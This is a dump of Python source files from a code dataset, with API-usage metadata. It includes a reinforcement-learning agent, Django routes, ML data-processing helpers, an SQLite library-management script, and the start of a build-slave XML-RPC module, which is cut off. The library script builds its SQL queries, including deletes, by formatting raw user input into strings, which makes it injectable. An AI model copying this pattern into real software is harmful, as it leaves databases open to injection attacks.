{"api_name": "pybamm.current_collector.Uniform", "line_number": 66, "usage_type": "call"}, {"api_name": "pybamm.current_collector", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pybamm.interface.lead_acid.InverseFirstOrderKinetics", "line_number": 73, "usage_type": "call"}, {"api_name": "pybamm.interface", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pybamm.interface.lead_acid.InverseFirstOrderKinetics", "line_number": 79, "usage_type": "call"}, {"api_name": "pybamm.interface", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pybamm.electrolyte.stefan_maxwell.conductivity.FirstOrder", "line_number": 87, "usage_type": "call"}, {"api_name": "pybamm.electrolyte", "line_number": 87, "usage_type": "attribute"}, {"api_name": "pybamm.electrode.ohm.Composite", "line_number": 90, "usage_type": "call"}, {"api_name": "pybamm.electrode", "line_number": 90, "usage_type": "attribute"}, {"api_name": "pybamm.electrode.ohm.Composite", "line_number": 95, "usage_type": "call"}, {"api_name": "pybamm.electrode", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pybamm.interface.lead_acid.FirstOrderButlerVolmer", "line_number": 107, "usage_type": "call"}, {"api_name": "pybamm.interface", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pybamm.interface.lead_acid.FirstOrderButlerVolmer", "line_number": 110, "usage_type": "call"}, {"api_name": "pybamm.interface", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pybamm.interface.lead_acid_oxygen.FirstOrderForwardTafel", "line_number": 116, "usage_type": "call"}, {"api_name": "pybamm.interface", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pybamm.interface.lead_acid_oxygen.FullDiffusionLimited", "line_number": 121, "usage_type": "call"}, {"api_name": "pybamm.interface", "line_number": 121, "usage_type": "attribute"}, {"api_name": "pybamm.convection.NoConvection", "line_number": 131, "usage_type": "call"}, {"api_name": "pybamm.convection", "line_number": 131, "usage_type": "attribute"}, {"api_name": "pybamm.convection.Composite", "line_number": 135, "usage_type": "call"}, {"api_name": "pybamm.convection", "line_number": 135, "usage_type": "attribute"}, {"api_name": "pybamm.porosity.Full", "line_number": 142, "usage_type": "call"}, {"api_name": "pybamm.porosity", "line_number": 142, "usage_type": "attribute"}, {"api_name": "pybamm.ScikitsDaeSolver", "line_number": 151, "usage_type": "call"}, {"api_name": "pybamm.ScipySolver", "line_number": 153, "usage_type": "call"}, {"api_name": "pybamm.electrolyte.stefan_maxwell.diffusion.FirstOrder", "line_number": 176, "usage_type": "call"}, {"api_name": "pybamm.electrolyte", "line_number": 176, "usage_type": "attribute"}, {"api_name": "pybamm.oxygen_diffusion.FirstOrder", "line_number": 182, "usage_type": "call"}, {"api_name": "pybamm.oxygen_diffusion", "line_number": 182, "usage_type": "attribute"}, {"api_name": "pybamm.electrolyte.stefan_maxwell.diffusion.Composite", "line_number": 215, "usage_type": "call"}, {"api_name": "pybamm.electrolyte", "line_number": 215, "usage_type": "attribute"}, {"api_name": "pybamm.oxygen_diffusion.Composite", "line_number": 221, "usage_type": "call"}, {"api_name": "pybamm.oxygen_diffusion", "line_number": 221, "usage_type": "attribute"}, {"api_name": "pybamm.porosity.Full", "line_number": 230, "usage_type": "call"}, {"api_name": "pybamm.porosity", "line_number": 230, "usage_type": "attribute"}, {"api_name": "pybamm.electrolyte.stefan_maxwell.diffusion.Composite", "line_number": 246, "usage_type": "call"}, {"api_name": "pybamm.electrolyte", "line_number": 246, "usage_type": "attribute"}, {"api_name": "pybamm.oxygen_diffusion.Composite", "line_number": 252, "usage_type": "call"}, {"api_name": "pybamm.oxygen_diffusion", "line_number": 252, "usage_type": "attribute"}, {"api_name": "pybamm.porosity.Full", "line_number": 261, "usage_type": "call"}, {"api_name": "pybamm.porosity", "line_number": 261, "usage_type": "attribute"}]} {"seq_id": "182441149", "text": "import numpy as np\nimport random\nfrom collections import namedtuple, deque\nfrom model import ANetwork\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.distributions import Categorical\n\nBUFFER_SIZE = int(1e4) # replay buffer size\nBATCH_SIZE \t = 64 # minibatch size\nGAMMA \t\t = 0.99 # discount factor\nLR \t\t\t = 5e-4 # learning rate \nUPDATE_EVERY = 4 # how often to update the network\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nclass Agent(): # who will interact with environment\n def __init__(self, state_size, action_size, seed):\n self.seed = random.seed(seed) # random seed\n self.time = 0 # Initialize time step (for updating every UPDATE_EVERY steps)\n self.state_size = state_size # state dimension\n self.action_size = action_size # action dimension\n self.policy = ANetwork(state_size, action_size, seed).to(device) # policy network\n self.optimizer = optim.Adam(self.policy.parameters(), lr=LR) \t# optimizer\n self.logprobs \t\t= [] # using as buffer\n self.rewards \t\t= [] # using as buffer\n\n def step(self, state, action, reward, next_state, done): # Store experience; sometimes call LEARN\n self.rewards.append(reward)\n self.time = (self.time + 1) % UPDATE_EVERY # update timer\n if (self.time == 0): # if correct time to learn\n if len(self.rewards) > BATCH_SIZE: # wait till memory has BATCH_SIZE number of examples\n self.learn(GAMMA) \t\t \t\t# learn\n \n def act(self, state, eps=0.0): # Returns action\n state \t= torch.from_numpy(state).float().unsqueeze(0)\n probs \t= self.policy(state)\t# using as buffer\n m \t\t= Categorical(probs) \t\t\n action \t= m.sample()\t\t\t# select a action\n self.logprobs.append(m.log_prob(action))\n return action.item()\n\n def learn(self, gamma = GAMMA):\t# updates weights\n returns = []\n loss =[]\n R = 0\n for r in self.rewards[::-1]:\n R = r + GAMMA*R\n returns.insert(0, R)\t\t\t\t# collect returns\n returns = torch.tensor(returns)\n returns = (returns - returns.mean()) / (returns.std() + 1e-7)\t# normalise\n i = 0 \n for log_prob, R in zip(self.logprobs, returns):\t\n if(i>BATCH_SIZE):\n break\n loss.append(-log_prob * R)\t\t\t# compute loss\n self.optimizer.zero_grad()\t\t\t\t# zero out earlier grad \n loss = torch.cat(loss).sum()\n loss.backward()\t\t\t\t\t\t\t# backpropagation\n self.optimizer.step()\t\t\t\t\t# update weights\n self.logprobs = []\n self.rewards = []\n\nclass ReplayBuffer:\n def __init__(self, action_size, buffer_size, batch_size, seed):\n self.seed = random.seed(seed)\n self.batch_size = batch_size\n self.action_size = action_size\n self.experience = namedtuple(\"Experience\", field_names=[\"state\", \"action\", \"reward\", \"next_state\", \"done\"])\n self.memory = deque(maxlen=buffer_size) \n\n def __len__(self):\n return len(self.memory)\n\n def add(self, state, action, reward, next_state, done): # add (s, a, r, s', done)\n e = self.experience(state, action, reward, next_state, done)\n self.memory.append(e)\n \n def sample(self):\n experiences = []\n for i in range(1, self.batch_size + 1):\n experiences.append(self.memory[-i])\n\n states = torch.from_numpy(np.vstack([e.state for e in experiences if e is not None])).float().to(device)\n actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).long().to(device)\n rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().to(device)\n next_states = torch.from_numpy(np.vstack([e.next_state for e in experiences if e is not None])).float().to(device)\n dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().to(device)\n \n return (states, actions, rewards, next_states, dones)\n", "sub_path": "agent.py", "file_name": "agent.py", "file_ext": "py", "file_size_in_byte": 4398, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.device", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 16, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 20, "usage_type": "call"}, {"api_name": "model.ANetwork", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.distributions.Categorical", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 59, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 67, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 70, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 89, "usage_type": "attribute"}]} {"seq_id": "35379409", "text": "\nfrom django.urls import path,include,re_path\nfrom BookGuan.views import *\nurlpatterns = [\n path('register/',register),\n path('login/',login),\n path('index/',index),\n path('logout/',logout),\n path('base/',base),\n path('goods_list/',goods_list),\n re_path(\"goods_list/(?P[01])/(?P\\d+)/\", goods_list),\n re_path(\"goods_status/(?P\\w+)/(?P\\d+)/\", goods_status),\n path('goods_add/', goods_add),\n path('personal_info/',personal_info),\n # path('personal_info/', personal_info),\n]", "sub_path": "demo/BookGuan/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 529, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.re_path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.re_path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}]} {"seq_id": "469778495", "text": "import numpy as np\nimport pandas as pd\nimport os\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport sklearn.metrics as metrics\nimport sklearn.tree as tree\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.cross_validation import train_test_split\n\npath = 'data/credit-data.csv'\n\n#### LOAD DATA ####\ndef load_data(path, index_col = None):\n\t'''\n\tLoad data into pandas from a csv\n\n\tInputs:\n\t- path (str): Path to location of csv file\n\t- index_col (str): column to specify as index, defaults to None\n\n\tReturns pandas dataframe\n\t'''\n\tif os.path.exists(path):\n\t df = pd.read_csv(path)\n\telse:\n\t\traise Exception('The file does not exist at this location')\n\n\treturn df\n\n\n#### EXPLORE DATA ####\ndef make_histogram(df, var_of_interest, kde = True, rug = False):\n\t'''\n\tMake histograms of continuous variables using Seaborn \"distplot\" function\n\n\tInputs:\n\t- df (DataFrame): Dataset of interest\n\t- var_of_interest (str): continuous variable to visualize\n\t- kde (bool): If true, show distribution trend line\n\t- rug (bool): If true, show exact numerical location of observations\n\n\tNo return, shows a histogram\n\t'''\n\t# Note: NaN's are exluded\n\tplot_var = df[var_of_interest]\n\tsns.distplot(plot_var[~plot_var.isnull()], kde = kde, rug = rug)\n\tplt.title(var_of_interest + ' Histogram')\n\tplt.ylabel('Frequency')\n\tplt.show()\n\n\ndef make_countchart(df, var_of_interest):\n\t'''\n\tMake countchart of categorical variables using Seaborn \"countplot\" function\n\n\tInputs:\n\t- df (DataFrame): Dataset of interest\n\t- var_of_interest (str): continuous variable to visualize\n\n\tNo return, shows a countplot\n\t'''\n\tplot_var = df[var_of_interest]\n\tsns.countplot(plot_var, data=df)\n\tplt.title(var_of_interest + ' Countplot')\n\tplt.show()\n\n\ndef check_correlations(df):\n\t'''\n\tCheck correlations between all variables in a dataframe\n\n\tInputs:\n\t- df (DataFrame): Dataset of interest\n\n\tReturns a pandas datafarme\n\t'''\n\treturn df.corr()\n\ndef find_high_corr(corr_matrix, threshold, predictor_var):\n\t'''\n\tFind all variables that are highly correlated with the predictor and thus\n\tlikely candidates to exclude\n\n\tInputs\n\t- corr_matrix (DataFrame): Result of the \"check_correlations\" function\n\t- threshold (int): Value between 0 and 1\n\t- predictor_var (str): Predictor variable\n\n\tReturns list of variables highly correlated with the predictor_var\n\t'''\n\treturn corr_matrix[corr_matrix[predictor_var] > threshold].index\n\ndef plot_correlations(df, x, y, hue = None, fitreg = False):\n\t'''\n\tMake a scatter plot of using the Seaborn lmplot function\n\n\tInputs:\n\t- df (DataFrame): Dataset of interest\n\t- x, y (strs): Variables to identify as x and y\n\t- hue (str): Optional third variable to color datapoints\n\t- fitreg (bool): Option to include a fitline\n\n\tNo return, shows a scatter plot\n\t'''\n\tsns.lmplot(x, y, hue = hue, fit_reg = fitreg, data = df)\n\tplt.title(x + ' vs ' + y)\n\tplt.show()\n\n\n#### DATA PRE-PROCESSING/CLEANING ####\ndef fill_nulls(df):\n\t'''\n\tFind values in a dataframe with null values and fill them with the median\n\tvalue of that variable\n\n\tInputs:\n\t- df (DataFrame): Dataset of interest\n\n\tReturns the original dataframe with null values filled\n\t'''\n\t# Find columns with missing values\n\tisnull = df.isnull().any()\n\tisnull_cols = list(isnull[isnull == True].index)\n\n\t# Fill nulls with median\n\tfor col in isnull_cols:\n\t\tcol_mean = df[col].median()\n\t\tdf[col].fillna(col_mean, inplace = True)\n\n\treturn df\n\n\n#### GENERATE FEATURES/PREDICTIONS ####\ndef x_y_generator(df, feature_cols, predictor_col):\n\t'''\n\tBuild feature and predictor portions of the dataset\n\n\tInputs:\n\t- df (DataFrame): Dataset of interest\n\t- feature_cols (list): Columns to keep as features\n\t- precictor_col (str): Column to specify as predictor\n\n\tReturns a dataframe of features and a dataframe of the predictor\n\t'''\n\tall_cols = df.columns\n\tdrop_cols = set(all_cols) - set(feature_cols)\n\n\tX = df.drop(drop_cols, axis = 1)\n\n\tY = df[predictor_col]\n\n\treturn X, Y\n\n\ndef cat_to_dummy(df, var_of_interest):\n\t'''\n\tTurn a categorical/discrete variable into a dummy variable\n\n\tInputs:\n\t- df (DataFrame): Dataset of interest\n\t- var_of_interest (str): variable to dummify\n\n\tReturns an updated dataframe\n\t'''\n\treturn pd.get_dummies(df, columns = [var_of_interest])\n\ndef continuous_to_cat(df, var_of_interest, bins = 10, labels = False):\n\t'''\n\tTurn a continuous variable into a categorical variable\n\n\tInputs:\n\t- df (DataFrame): Dataset of interest\n\t- var_of_interest (str): variable to categorize\n\t- bins (int): Number of bins to separate data into\n\t- labels (bool): Indications whether data should be shown as a range or\n\tnumerical value\n\n\tReturns an updated dataframe\n\t'''\n\treturn pd.cut(df[var_of_interest], bins, labels = labels)\n\n\n#### BUILD CLASSIFIER ####\ndef build_knn(num_neighbors, weights = None, metric = None, metric_params=None):\n\t'''\n\tBuild a k nearest neighbor classifier using sklearn functionality\n\n\tInputs:\n\t- num_neighbors (int): number of neighbors\n\t- weights (str): How to weight the neighbors\n\t- metric (str): distance function to use to evaluate neighbors\n\t- metric_params (dict): specify additional metric parameters as needed\n\n\tReturns a classifier\n\t'''\n\tmodel = KNeighborsClassifier(n_neighbors=num_neighbors, weights=weights,\n\t\tmetric=metric, metric_params=metric_params)\n\n\treturn model\n\ndef build_tree():\n\t'''\n\tTo build later\n\t'''\n\tpass\n\ndef proba_wrap(model, x_data, predict = False, threshold = 0.5):\n\t'''\n\tTo build later\n\t'''\n\treturn model.predict_proba(x_data)\n\n\n#### EVALUATE CLASSIFIER ####\ndef check_accuracy(y_actual, y_predict):\n\t'''\n\tCheck accuracy of a prediction\n\n\tInputs:\n\t- y_actual (Series): Actual predictor values from original dataset\n\t- y_predict (Series): Predicted values produced by classifier\n\n\tReturns float value between 0 and 1\n\t'''\n\treturn metrics.accuracy_score(y_actual, y_predict)\n\n\ndef precision(y_actual, y_predict):\n\t'''\n\tCheck precision of a prediction\n\n\tInputs:\n\t- y_actual (Series): Actual predictor values from original dataset\n\t- y_predict (Series): Predicted values produced by classifier\n\n\tReturns float value between 0 and 1\n\t'''\n\treturn metrics.precision_score(y_actual, y_predict)\n\n\ndef confusion_matrix(y_actual, y_predict):\n\t'''\n\tBuild confusion matrix based on actual and predicted values\n\n\tInputs:\n\t- y_actual (Series): Actual predictor values from original dataset\n\t- y_predict (Series): Predicted values produced by classifier\n\n\tReturns a confusion matrix\n\t'''\n\treturn metrics.confusion_matrix(y_actual, y_predict, labels=None,\n\t\tsample_weight=None)\n\ndef knn_evaluation_matrix(k_range, x_train, y_train, x_test, y_test,\n\tmetrics = ['minkowski','euclidean', 'manhattan'],\n\tweight_funcs = ['uniform', 'distance']):\n\t'''\n\tEvaluate models with a variety of different parameters\n\n\tReturns a dataframe\n\t'''\n\tdf = pd.DataFrame(columns = ['num_neighbors', 'metric',\n\t\t'weighting_function', 'training_acc', 'test_acc', 'train_confusion', 'test_confusion'])\n\ti = 0\n\n\tfor k in k_range:\n\t for metric in metrics:\n\t for func in weight_funcs:\n\t params = [k, metric, func]\n\t model = build_knn(k, func, metric)\n\t model.fit(x_train, y_train)\n\t train_pred = model.predict(x_train)\n\t test_pred = model.predict(x_test)\n\t train_acc = check_accuracy(y_train, train_pred)\n\t test_acc = check_accuracy(y_test, test_pred)\n\t train_confusion = confusion_matrix(y_train, train_pred)\n\t test_confusion = confusion_matrix(y_test, test_pred)\n\t tup = [k, metric, func, train_acc, test_acc, train_confusion, test_confusion]\n\t df.loc[i] = tup\n\t i += 1\n\n\treturn df\n", "sub_path": "src/analysis/deprecated/data_processing.py", "file_name": "data_processing.py", "file_ext": "py", "file_size_in_byte": 7626, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.exists", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "seaborn.lmplot", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "pandas.get_dummies", "line_number": 169, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 184, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 200, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 229, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 229, "usage_type": "name"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 242, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 242, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 255, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 255, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 266, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 271, "usage_type": "name"}]} {"seq_id": "647154731", "text": "# python2 compatibility\nfrom __future__ import print_function\n\n# global dates\nfrom datetime import *\ntoday = date.today()\nd4 = today.strftime(\"%d-%b-%Y\")\naaa = date.today() + timedelta(days=25)\nexpDate = aaa.strftime(\"%d-%b-%Y\")\n# database connectivity\nimport sqlite3\nconn = sqlite3.connect('library.db')\n\nc = conn.cursor()\n\nclass Book:\n count = 104\n def __init__ (self,bid,bname,isAvailable):\n c.execute('''CREATE TABLE IF NOT EXISTS book (bid int UNIQUE, bname text, isAvailable text)''')\n c.execute(\"INSERT OR REPLACE INTO book (bid, bname, isAvailable) VALUES ('%s','%s','%s')\" % (bid,bname,isAvailable))\n # c.execute(\"INSERT OR REPLACE INTO book VALUES ('102','A good apple','true')\")\n def display_books():\n print(\"-\"*66)\n print(\"| BookId\\t|| Book Name\\t\\t\\t || isAvailable\\t |\")\n print(\"-\"*66)\n bnames = c.execute('SELECT * FROM book')\n for row in bnames:\n print(\"| \",row[0],\"\\t\\t|| \",row[1],\" \\t\\t || \",row[2],\"\\t |\")\n print(\"-\"*66)\n def addBook():\n Book.count+=1\n newName = input(\"First Name of new Book ?: \")\n c.execute(\"INSERT OR REPLACE INTO book (bid, bname,isAvailable) VALUES ('%s','%s','true')\" % (Book.count,newName))\n Book.display_books()\n def deleteBook():\n did = input(\"Enter the bid ?: \")\n c.execute(\"DELETE FROM book WHERE bid='%s'\" % (did))\n print(\"row deleted\")\n\nclass Person:\n pid=204\n def __init__(self,pid,pname):\n c.execute('''CREATE TABLE IF NOT EXISTS person (pid int UNIQUE, pname text)''')\n c.execute(\"INSERT OR REPLACE INTO person (pid, pname) VALUES ('%s','%s')\" % (pid,pname))\n def display_people():\n bnames = c.execute('SELECT * FROM person')\n print(\"-\"*40)\n print(\"| PersonId\\t || Person Name\\t\\t |\")\n print(\"-\"*40)\n for row in bnames:\n for item in row:\n print(\"| \",item,\"\\t\\t\",end=\" |\")\n print(\"\\n|\")\n print(\"-\"*40)\n def addPerson():\n Person.pid+=1\n newName = input(\"First Name of new member ?: \")\n c.execute(\"INSERT OR REPLACE INTO person (pid, pname) VALUES ('%s','%s')\" % (Person.pid,newName))\n Person.display_people()\n def deletePerson():\n did = input(\"Enter the pid ?: \")\n c.execute(\"DELETE FROM person WHERE pid='%s'\" % (did))\n print(\"row deleted\")\n\nclass Transaction(Person,Book):\n count = 500\n def __init__(self):\n c.execute('''CREATE TABLE IF NOT EXISTS transact (tid int UNIQUE,bid int,pid int,lenDate text,expDate text)''')\n def addTransaction(): \n bbid = input(\"Please enter the bid: \")\n ppid = input(\"Please enter the pid: \")\n res = c.execute(\"SELECT isAvailable FROM book WHERE bid='%s'\"% (bbid))\n for item in res:\n if item[0]==\"true\":\n print(\"book available!\")\n Transaction.count+=1\n c.execute(\"INSERT OR REPLACE INTO transact VALUES ('%s', '%s', '%s', '%s', '%s')\" % (Transaction.count,bbid,ppid,d4,expDate))\n c.execute(\"UPDATE book SET isAvailable='false' WHERE bid='%s'\"% (bbid))\n Transaction.viewTransaction()\n else: print(\"Book is already taken!\")\n def submitBook():\n bbid = input(\"Please enter the bid: \")\n res = c.execute(\"SELECT isAvailable FROM book WHERE bid='%s'\"% (bbid))\n for item in res:\n if item[0]==\"false\":\n print(\" Book Submitted!\")\n c.execute(\"UPDATE book SET isAvailable='true' WHERE bid='%s'\"% (bbid))\n else:\n print(\"Failed! Book is not taken!\")\n def viewTransaction():\n print(\"-\"*90)\n print(\"| TransId || BookID\\t || PersonID\\t || LendDate\\t\\t || ExpiryDate\\t\\t |\")\n print(\"-\"*90)\n for row in c.execute('SELECT * FROM transact'):\n for item in row:\n print(\"| \",item,\"\\t\",end=\" |\")\n print(\"\\n|\")\n print(\"-\"*90) \n\nb1 = Book(101,\"A bad Apple\",\"true\")\nb2 = Book(102,\"A good Apple\",\"true\")\nb3 = Book(103,\"A best Apple\",\"true\")\nb4 = Book(104,\"the worst Apple\",\"true\")\n\np1=Person(201,'Rahul')\np2=Person(202,'Manu')\np3=Person(203,'Tany')\np4=Person(204,'Dany')\nTransaction()\nwhile True:\n print(\"\\n\\n\\t\\tLibrary Management System\\n\\n\\t(1)Lend Book\\n\\t(2)Submit Book\\n\\t(3)View TRansactions\\n\\t(4)Display Books\\n\\t(5)Display People\\n\\t(6)Add Person\\n\\t(7)Add Book\\n\\t(8)Delete Person\\n\\t(9)Delete Book\\n\\t(0)Quit\")\n choice = input(\">>> \")\n if choice==\"1\":\n Transaction.addTransaction()\n continue\n elif choice==\"2\":\n Transaction.submitBook()\n continue\n elif choice==\"3\":\n print(\"Transactions so far\")\n Transaction.viewTransaction()\n continue\n elif choice==\"4\":\n print(\"Details of books in database\")\n Book.display_books()\n continue\n elif choice==\"5\":\n print(\"Details of people in database\")\n Person.display_people()\n continue\n elif choice==\"6\":\n print(\"Adding a new person in database\")\n Person.addPerson()\n continue\n elif choice==\"7\":\n print(\"Adding a new book in database\")\n Book.addBook()\n continue\n elif choice==\"8\":\n print(\"Removing new person from database\")\n Person.deletePerson()\n continue \n elif choice==\"9\":\n print(\"Removing new book from database\")\n Book.deleteBook()\n elif choice==\"0\":\n print(\"Have a nice day!\")\n exit(0)\n else:\n print(\"Invalid choice, please choose again\\n\")\n\nconn.commit()\nconn.close()", "sub_path": "db.py", "file_name": "db.py", "file_ext": "py", "file_size_in_byte": 5617, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlite3.connect", "line_number": 12, "usage_type": "call"}]} {"seq_id": "81211771", "text": "#!/usr/bin/env python\n\nimport xmlrpclib\nfrom ShuttleJob import JobStatus, UploadStatus\nfrom ShuttleJob import PbuildStatus\nimport ShuttleJob\nfrom ShuttleConfig import ShuttleConfig\nfrom twisted.internet import defer\nfrom twisted.internet import reactor\nfrom twisted.internet.protocol import Protocol\nfrom twisted.web import client\nimport functools\nimport json\nimport os\nimport glob\n\nimport ConfigParser\n\nfrom ShuttleNotify import ShuttleNotify\n\nfrom urlparse import urljoin\n\ndef urlappend(baseurl, path):\n assert not path.startswith('/')\n if not baseurl.endswith('/'):\n baseurl += '/'\n return urljoin(baseurl, path)\n\nclass TimeoutTransport(xmlrpclib.Transport):\n def __init__(self, timeout, use_datetime=0):\n self.timeout = timeout\n # xmlrpclib uses old-style classes so we cannot use super()\n xmlrpclib.Transport.__init__(self, use_datetime)\n\n def make_connection(self, host):\n connection = xmlrpclib.Transport.make_connection(self, host)\n connection.timeout = self.timeout\n return connection\n\n\nclass TimeoutServerProxy(xmlrpclib.ServerProxy):\n def __init__(self, uri, timeout=10, transport=None, encoding=None, verbose=0, allow_none=0, use_datetime=0):\n t = TimeoutTransport(timeout)\n xmlrpclib.ServerProxy.__init__(self, uri, t, encoding, verbose, allow_none, use_datetime)\n\n\nclass FileWritingQueue():\n def __init__(self):\n self.work = False\n self.tasks = []\n self.drain = None\n\n def download(self, data):\n url = data[0]\n filename = data[1]\n basepath = os.path.dirname(filename)\n if not os.path.exists(basepath):\n os.makedirs(basepath)\n d = client.downloadPage(url, filename)\n return d\n\n def push(self, data):\n deferred = defer.Deferred()\n self.tasks.append(data)\n self.process()\n return deferred\n\n def task_finished(self, *args):\n self.work = False\n if len(self.tasks) == 0 and self.drain:\n self.drain()\n self.process()\n\n def process(self):\n if len(self.tasks) != 0 and self.work:\n return\n task = self.tasks.pop(0)\n self.work = True\n d = self.download(task)\n d.addCallback(self.task_finished)\n\nclass ShuttleSlaveConfig(object, ConfigParser.ConfigParser):\n _instance = None\n def __new__(cls, *args, **kwargs):\n if cls._instance is None:\n cls._instance = object.__new__(cls)\n cls._instance.init(*args, **kwargs)\n return cls._instance\n\n def init(self):\n #TODO: need fix config file patch \n self.config_file = os.path.join(ShuttleConfig().get(\"build\",\"configdir\"), \"slaves.conf\")\n ConfigParser.ConfigParser.__init__(self)\n self.reload()\n\n def reload(self):\n return self.read(self.config_file)\n\n def save(self):\n try:\n self.write(file(self.config_file, \"w\"))\n except Exception as err:\n return False\n return True\n\n def slaves(self):\n slaves = []\n for slave in self.sections():\n slave_rpc = self.get(slave, \"rpc\")\n slave_method = self.get(slave, \"method\")\n if slave_method == \"debian-package\":\n slave = ShuttleDebianPackageSlave(slave, slave_rpc)\n elif slave_method == \"pbuilder-image\":\n slave = ShuttlePbuildImageSlave(slave, slave_rpc)\n else:\n raise NotImplementedError(\"%s is not implemented\" % slave_method)\n slaves.append(slave)\n return slaves\n\n @property\n def list_slaves(self):\n slaves = []\n for slave in self.sections():\n slaves.append(slave)\n return slaves\n\n def add_slave(self, slave):\n if slave in self.list_slaves:\n return \n self.add_section(slave)\n self.save()\n self.reload()\n\n def remove_slave(self, slave):\n if slave in self.list_salves:\n self.remove_section(slave)\n self.save()\n self.reload()\n\n\nclass ShuttleSlave(object):\n def __init__(self, name, builder_url):\n self.name = name\n self.builder_url = builder_url\n self.rpc = urlappend(builder_url, 'rpc')\n self._file_cache_url = urlappend(builder_url, 'filecache')\n self.proxy = TimeoutServerProxy(self.rpc, 1)\n self.cachedir = ShuttleConfig().get(\"build\", \"cachedir\")\n self.configdir = ShuttleConfig().get(\"build\",\"configdir\")\n self.librarian = ShuttleConfig().get(\"http\", \"librarian\")\n self.uploading = False\n self.refresh()\n\n def 